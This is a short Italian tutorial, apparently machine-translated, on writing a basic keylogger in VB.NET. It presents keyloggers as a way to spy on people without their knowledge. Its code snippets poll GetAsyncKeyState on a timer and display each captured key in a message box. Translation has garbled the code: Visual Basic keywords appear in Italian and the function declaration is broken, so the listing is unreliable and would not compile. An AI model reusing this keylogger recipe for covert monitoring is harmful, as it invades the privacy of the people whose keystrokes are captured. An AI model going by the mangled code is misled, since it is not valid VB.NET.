October 28
Saper fare un keylogger utilizzando Microsoft Visual Basic.NET (VB.NET) può risparmiare tempo quando è necessario sviluppare un'applicazione che cattura tutti i tasti digitati. programmi keylogger sono comunemente usati per spiare o ottenere informazioni senza che l'utente scoprire il programma è in esecuzione. Le leggi variano da paese a paese su come è possibile utilizzare un programma keylogger.
1 Avviare Microsoft Visual Basic Express. Fai clic su "Nuovo progetto ..." nel riquadro a sinistra dello schermo, quindi selezionare "Applicazione Windows Form." Fai clic su "OK".
2 Fare doppio clic su "Timer" nel riquadro "Toolbox" per aggiungere un nuovo controllo del timer. Right-click "Timer1", quindi selezionare "Proprietà". Accanto a "Enabled", selezionare "True". Fare doppio clic su "Timer1" per aprire la finestra "Form1.vb".
3 Digitare il seguente codice sopra "Timer1_Tick" per dichiarare la funzione "GetAsyncKeyState":
Public Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal tasto Vper Come Int32) Come USHORT
4 Digitare il seguente codice sotto "Timer1_Tick" per catturare i tasti digitati mentre l'applicazione è in esecuzione:
Dim keyResult As Integer
Dim chrKey As String
Dim i As Integer
Per i = 2 Per 90
keyResult = 0
keyResult = GetAsyncKeyState (i)
Se keyResult = -32767 Poi
chrKey = Chr (i)
MsgBox (chrKey)
Exit For
Finisci se
Next i
5 Premere il tasto "F5" per eseguire il programma, quindi premere il tasto "B" sulla tastiera e vedrete una finestra di messaggio visualizzato con la lettera "B"